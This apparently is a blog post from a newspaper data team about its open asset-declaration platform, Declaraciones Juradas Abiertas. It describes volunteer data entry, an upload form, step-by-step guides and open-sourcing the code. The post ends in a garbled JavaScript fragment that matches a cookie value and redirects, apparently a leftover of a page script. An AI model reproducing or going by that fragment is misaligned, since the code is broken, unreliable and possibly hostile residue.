In order to make public documents even more public, Declaraciones Juradas Abiertas, our Open statement of assets project, pushed borders of transparency once again.
We believe that opening data is a huge change inside journalism, but we also believe that we must open our building process of the platform to complete the cycle and to make easier for others to build sites like this one in their own contexts.
So we were awarded a grant from Hivos to do this.
As part of this project, we shared tips and recommendations for those who are planning to jump into the adventure of working with similar documents. We wrote a very brief document and we created a new section in the website named “What we have learned so far”. Everyone can find there questions such as:
- How to convene volunteers
- What should you know before starting any project
- How should you communicate to the rest of the team involved in the project
- How to work with all people involved: designers, developers, NGOs
We usually listen to open data teams that explain how a platform or an open data initiative works, but the making of the project is as important as the result. This document aims at showing and discussing about the behind the scenes of that work (and it´s a lot!) to help open data organizations and people to think about processes in order to improve them.
Besides, by means of open methodology issues, we help open data community to rethink their own organization processes when working in open data and to find creative and effective ways when dealing with challenges during these processes. We will try to think out of the box to improve our daily work and share the experience with others.
New section in our website
The document where we shared our experience
Opening the uploading system to others
In the first stage of Declaraciones Juradas Abiertas,we uploaded all the documents in Excel spreadsheets. This started to be a problem as soon as we increased the volume of data and the number of volunteers working on the project.
So, as part of stage 2, we created an online form that contained all the previous categories of assets, but at the same time was flexible enough to incorporate new ones.
All this process allowed us to work with more than 20 volunteers outside our newsroom and to upload more than 1,000 statements of assets. Originally, we proposed only 100 new documents.
By opening the stage of typing documents, we increased the efficiency of the process and decreased the time needed to transform paper material into digital one.
Besides, we reduced the error range by creating a button to generate a preview of the document: how would you see it in the website if it was published.
To sum up, by opening this process, we increase the efficiency of a key part of Declaraciones Juradas Abiertas.
The admin of the form
In the previous picture it may be seen that we created a lists of assets admitted and there is also a menu to check all the statements of assets behind the online platform.
The user can also check more recent actions by other users.
The form
We opened the uploading process too
We delivered special training sessions in our newsroom for the volunteer team. And, in order to keep training them outside, we wrote down an step-by-step guide of uploading a sworn statement of assets.
By doing this, we offered “offline support” besides the “face-to-face” one.
At the end of the project, we thought that, if we open this document to the open data community, we would help others on their own projects. So, we put all the material in GitHub:
We made the platform open source
Since we launched Declaraciones Juradas Abiertas in 2013, we really wanted to make the platform open source. So, we did it last year and we also included it in GitHub.
You can find it here: https://github.com/lanacioncom/ddjj_front_rails_lanacion
All the above mentioned contributed to open data in our journalists articles.
For instance, when Daniel Scioli, one of the presidential candidates, submitted his sworn statement of assets, we uploaded all the document information in less than one hour. And after doing it, we were the only media that included the information in open format for its readers.
Thus, readers were not only able to see the document in a more comprehensive way, but also to save the original in their personal computer:
The article of that day: “Daniel Scioli Wealth raised more than 1000% in 7 years”
A tool to compare 2 open sworns statements of assets
The interactive application allows users to read a large volume of information and do comparisons, with an easy visual interface and includes the possibility of exploring every original PDF document in detail:
“; )”\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));”;,”redirect”);>,;”””; ; “”)}